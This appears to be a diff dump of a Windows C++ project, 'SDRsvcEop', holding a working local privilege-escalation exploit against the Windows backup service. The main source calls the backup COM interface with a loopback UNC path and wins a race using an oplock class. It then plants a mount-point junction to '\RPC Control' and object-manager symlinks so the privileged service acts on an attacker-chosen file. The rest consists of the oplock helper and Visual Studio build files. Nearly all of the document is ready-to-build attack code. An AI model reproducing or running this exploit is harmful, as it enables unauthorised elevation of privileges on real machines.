printf("[*] Directory: %ls\n", dir);
|
||||
if (!CreateDirectory(dir, NULL)) {
|
||||
return 1;
|
||||
}
|
||||
hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ|DELETE, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT|FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||
|
||||
if (hDir == INVALID_HANDLE_VALUE) {
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
WCHAR path[MAX_PATH * 2] = { 0x0 };
|
||||
GetFinalPathNameByHandle(hDir, path, MAX_PATH * 2, VOLUME_NAME_NONE);
|
||||
swprintf(unc, L"\\\\127.0.0.1\\c$%ls", path);
|
||||
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)FindFile,hDir,0,NULL);
|
||||
Trigger();
|
||||
HANDLE success;
|
||||
do {
|
||||
success = CreateFile(target, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
|
||||
} while (success != INVALID_HANDLE_VALUE);
|
||||
printf("[+] Exploit successful!\n");
|
||||
DeleteJunction(hDir);
|
||||
DelDosDeviceSymLink(object, BuildPath(target));
|
||||
}
|
||||
BOOL Trigger() {
|
||||
HRESULT hr = CoInitialize(NULL);
|
||||
ISdScheduledBackup* sdc;
|
||||
|
||||
|
||||
PStruct_10 aaa = (PStruct_10)malloc(sizeof(Struct_10));
|
||||
hr = CoCreateInstance(__uuidof(CLSID_SDC), NULL, CLSCTX_LOCAL_SERVER, __uuidof(ISdScheduledBackup), (LPVOID*)&sdc);
|
||||
if (SUCCEEDED(hr)) {
|
||||
printf("[*] Path: %ls\n", unc);
|
||||
hr = sdc->Proc7(unc, aaa);
|
||||
if (SUCCEEDED(hr)) {
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%x\n", hr);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%x\n", hr);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
void load() {
|
||||
HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
|
||||
if (ntdll != NULL) {
|
||||
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
|
||||
pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
|
||||
pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
|
||||
|
||||
}\
|
||||
if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) {
|
||||
printf("Cannot load api's %d\n", GetLastError());
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
void cb() {
|
||||
printf("[+] Oplock!\n");
|
||||
while(!Move(hFile)){}
|
||||
|
||||
CreateJunction(hDir, L"\\RPC Control");
|
||||
DosDeviceSymLink(object, BuildPath(target));
|
||||
|
||||
}
|
||||
|
||||
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
|
||||
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
|
||||
printf("[+] Symlink %ls -> %ls created!\n", object, target);
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("error :%d\n", GetLastError());
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
|
||||
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
|
||||
printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("error :%d\n", GetLastError());
|
||||
return FALSE;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
|
||||
HANDLE hJunction;
|
||||
DWORD cb;
|
||||
wchar_t printname[] = L"";
|
||||
if (hDir == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] HANDLE invalid!\n");
|
||||
return FALSE;
|
||||
}
|
||||
SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
|
||||
SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
|
||||
SIZE_T PathLen = TargetLen + PrintnameLen + 12;
|
||||
SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
|
||||
PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
|
||||
Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||||
Data->ReparseDataLength = PathLen;
|
||||
Data->Reserved = 0;
|
||||
Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
|
||||
Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
|
||||
memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
|
||||
Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
|
||||
Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
|
||||
memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
|
||||
WCHAR dir[MAX_PATH] = { 0x0 };
|
||||
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
|
||||
{
|
||||
|
||||
GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);
|
||||
printf("[+] Junction %ls -> %ls created!\n", dir, target);
|
||||
free(Data);
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
printf("[!] Error: %d. Exiting\n", GetLastError());
|
||||
free(Data);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
BOOL DeleteJunction(HANDLE handle) {
|
||||
REPARSE_GUID_DATA_BUFFER buffer = { 0 };
|
||||
BOOL ret;
|
||||
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||||
DWORD cb = 0;
|
||||
IO_STATUS_BLOCK io;
|
||||
if (handle == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] HANDLE invalid!\n");
|
||||
return FALSE;
|
||||
}
|
||||
WCHAR dir[MAX_PATH] = { 0x0 };
|
||||
if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {
|
||||
GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);
|
||||
printf("[+] Junction %ls deleted!\n", dir);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[!] Error: %d.\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
BOOL Move(HANDLE hFile) {
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] Invalid handle!\n");
|
||||
return FALSE;
|
||||
}
|
||||
wchar_t tmpfile[MAX_PATH] = { 0x0 };
|
||||
RPC_WSTR str_uuid;
|
||||
UUID uuid = { 0 };
|
||||
UuidCreate(&uuid);
|
||||
UuidToString(&uuid, &str_uuid);
|
||||
_swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
|
||||
size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));
|
||||
FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);
|
||||
IO_STATUS_BLOCK io = { 0 };
|
||||
rename_info->ReplaceIfExists = TRUE;
|
||||
rename_info->RootDirectory = NULL;
|
||||
rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
|
||||
rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
|
||||
memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));
|
||||
NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);
|
||||
if (status != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
LPWSTR BuildPath(LPCWSTR path) {
|
||||
wchar_t ntpath[MAX_PATH];
|
||||
swprintf(ntpath, L"\\??\\%s", path);
|
||||
return ntpath;
|
||||
}
|
||||
VOID FindFile(HANDLE hDidr) {
|
||||
PFILE_NOTIFY_INFORMATION fi = NULL;
|
||||
WCHAR file[MAX_PATH] = { 0x0 };
|
||||
FileOpLock* oplock;
|
||||
WCHAR* final_path = (WCHAR*)malloc(MAX_PATH);
|
||||
HANDLE hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, NULL);
|
||||
BOOL stop = FALSE;
|
||||
do {
|
||||
|
||||
wchar_t buff[4096] = { 0 };
|
||||
DWORD ret = 0;
|
||||
ReadDirectoryChangesW(hDir, buff, 4096, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &ret, NULL, NULL);
|
||||
|
||||
fi = (PFILE_NOTIFY_INFORMATION)buff;
|
||||
if (fi->Action == FILE_ACTION_ADDED) {
|
||||
stop = TRUE;
|
||||
}
|
||||
} while (stop == FALSE);
|
||||
_swprintf(file, L"%s\\%s",dir, fi->FileName);
|
||||
_swprintf(object, L"Global\\GLOBALROOT\\RPC Control\\%s", fi->FileName);
|
||||
do {
|
||||
hFile = CreateFile(file, GENERIC_READ | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
|
||||
} while (hFile == INVALID_HANDLE_VALUE);
|
||||
|
||||
oplock = FileOpLock::CreateLock(hFile, cb);
|
||||
if (oplock != nullptr) {
|
||||
oplock->WaitForLock(INFINITE);
|
||||
delete oplock;
|
||||
}
|
||||
}
|
||||
LPWSTR GetTmpDir() {
|
||||
LPWSTR username;
|
||||
DWORD szUsername = 0;
|
||||
WCHAR path[MAX_PATH] = { 0x0 };
|
||||
RPC_WSTR str_uuid;
|
||||
UUID uuid = { 0x0 };
|
||||
|
||||
UuidCreate(&uuid);
|
||||
UuidToString(&uuid, &str_uuid);
|
||||
GetUserName(NULL, &szUsername);
|
||||
username = (LPWSTR)malloc(szUsername);
|
||||
GetUserName(username, &szUsername);
|
||||
swprintf(path, L"C:\\users\\%s\\appdata\\local\\temp\\%s", username, str_uuid);
|
||||
|
||||
return path;
|
||||
}
|
||||
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {
|
||||
UNICODE_STRING ufile;
|
||||
HANDLE hDir;
|
||||
pRtlInitUnicodeString(&ufile, file);
|
||||
OBJECT_ATTRIBUTES oa = { 0 };
|
||||
IO_STATUS_BLOCK io = { 0 };
|
||||
NTSTATUS retcode;
|
||||
InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
||||
|
||||
if (!NT_SUCCESS(retcode)) {
|
||||
return NULL;
|
||||
}
|
||||
return hDir;
|
||||
}
|
|
@ -0,0 +1,201 @@
|
|||
|
||||
#include "FileOpLock.h"
|
||||
#include <threadpoolapiset.h>
|
||||
|
||||
|
||||
|
||||
FileOpLock::FileOpLock(UserCallback cb) :
|
||||
g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)
|
||||
{
|
||||
g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
|
||||
g_inputBuffer.StructureLength = sizeof(g_inputBuffer);
|
||||
g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
|
||||
g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
|
||||
g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
|
||||
g_outputBuffer.StructureLength = sizeof(g_outputBuffer);
|
||||
}
|
||||
|
||||
|
||||
FileOpLock::~FileOpLock()
|
||||
{
|
||||
if (g_wait)
|
||||
{
|
||||
SetThreadpoolWait(g_wait, nullptr, nullptr);
|
||||
CloseThreadpoolWait(g_wait);
|
||||
g_wait = nullptr;
|
||||
}
|
||||
|
||||
if (g_o.hEvent)
|
||||
{
|
||||
CloseHandle(g_o.hEvent);
|
||||
g_o.hEvent = nullptr;
|
||||
}
|
||||
|
||||
if (g_hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(g_hFile);
|
||||
g_hFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
bool FileOpLock::BeginLock(const std::wstring& filename)
|
||||
{
|
||||
g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
||||
g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
|
||||
|
||||
|
||||
|
||||
g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
|
||||
0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);
|
||||
if (g_hFile == INVALID_HANDLE_VALUE) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
|
||||
if (g_wait == nullptr)
|
||||
{
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
|
||||
|
||||
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
|
||||
&g_inputBuffer, sizeof(g_inputBuffer),
|
||||
&g_outputBuffer, sizeof(g_outputBuffer),
|
||||
nullptr, &g_o);
|
||||
if (GetLastError() != ERROR_IO_PENDING) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
bool FileOpLock::BeginLock(HANDLE hfile)
|
||||
{
|
||||
g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
||||
g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
|
||||
|
||||
|
||||
|
||||
g_hFile = hfile;
|
||||
if (g_hFile == INVALID_HANDLE_VALUE) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
|
||||
if (g_wait == nullptr)
|
||||
{
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
|
||||
DWORD bytesReturned;
|
||||
|
||||
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
|
||||
&g_inputBuffer, sizeof(g_inputBuffer),
|
||||
&g_outputBuffer, sizeof(g_outputBuffer),
|
||||
nullptr, &g_o);
|
||||
/*DeviceIoControl(g_hFile,
|
||||
FSCTL_REQUEST_OPLOCK_LEVEL_1,
|
||||
NULL, 0,
|
||||
NULL, 0,
|
||||
&bytesReturned,
|
||||
&g_o);*/
|
||||
if (GetLastError() != ERROR_IO_PENDING) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb)
|
||||
{
|
||||
FileOpLock* ret = new FileOpLock(cb);
|
||||
|
||||
if (ret->BeginLock(name))
|
||||
{
|
||||
return ret;
|
||||
}
|
||||
else
|
||||
{
|
||||
delete ret;
|
||||
return nullptr;
|
||||
}
|
||||
}
|
||||
FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb)
|
||||
{
|
||||
FileOpLock* ret = new FileOpLock(cb);
|
||||
|
||||
if (ret->BeginLock(hfile))
|
||||
{
|
||||
return ret;
|
||||
}
|
||||
else
|
||||
{
|
||||
delete ret;
|
||||
return nullptr;
|
||||
}
|
||||
}
|
||||
void FileOpLock::WaitForLock(UINT Timeout)
|
||||
{
|
||||
WaitForSingleObject(g_hLockCompleted, Timeout);
|
||||
}
|
||||
|
||||
void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(Instance);
|
||||
UNREFERENCED_PARAMETER(Wait);
|
||||
UNREFERENCED_PARAMETER(WaitResult);
|
||||
|
||||
FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);
|
||||
|
||||
lock->DoWaitCallback();
|
||||
}
|
||||
void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(Instance);
|
||||
UNREFERENCED_PARAMETER(Wait);
|
||||
UNREFERENCED_PARAMETER(WaitResult);
|
||||
|
||||
FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);
|
||||
|
||||
lock->DoWaitCallbackt();
|
||||
}
|
||||
void FileOpLock::DoWaitCallbackt()
|
||||
{
|
||||
DWORD dwBytes;
|
||||
if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
|
||||
|
||||
}
|
||||
|
||||
if (_cb)
|
||||
{
|
||||
_cb();
|
||||
}
|
||||
g_hFile = INVALID_HANDLE_VALUE;
|
||||
SetEvent(g_hLockCompleted);
|
||||
}
|
||||
void FileOpLock::DoWaitCallback()
|
||||
{
|
||||
DWORD dwBytes;
|
||||
if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
|
||||
|
||||
}
|
||||
|
||||
if (_cb)
|
||||
{
|
||||
_cb();
|
||||
}
|
||||
|
||||
|
||||
CloseHandle(g_hFile);
|
||||
g_hFile = INVALID_HANDLE_VALUE;
|
||||
SetEvent(g_hLockCompleted);
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
class FileOpLock
|
||||
{
|
||||
public:
|
||||
typedef void(*UserCallback)();
|
||||
static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb);
|
||||
static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb);
|
||||
void WaitForLock(UINT Timeout);
|
||||
|
||||
~FileOpLock();
|
||||
private:
|
||||
|
||||
HANDLE g_hFile;
|
||||
OVERLAPPED g_o;
|
||||
REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
|
||||
REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
|
||||
HANDLE g_hLockCompleted;
|
||||
PTP_WAIT g_wait;
|
||||
UserCallback _cb;
|
||||
|
||||
FileOpLock(UserCallback cb);
|
||||
|
||||
static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult);
|
||||
static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult);
|
||||
void DoWaitCallback();
|
||||
void DoWaitCallbackt();
|
||||
bool BeginLock(HANDLE hfile);
|
||||
bool BeginLock(const std::wstring& name);
|
||||
|
||||
};
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,31 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.0.31919.166
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SDRsvcEop", "SDRsvcEop.vcxproj", "{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.Build.0 = Debug|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.Build.0 = Debug|Win32
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.ActiveCfg = Release|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.Build.0 = Release|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.ActiveCfg = Release|Win32
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {E7910A37-2126-493B-A1A7-2FD1F8FCFB30}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,157 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{e87cbf4d-3552-4894-9ed2-b296d4dbf5bb}</ProjectGuid>
|
||||
<RootNamespace>SDRsvcEop</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
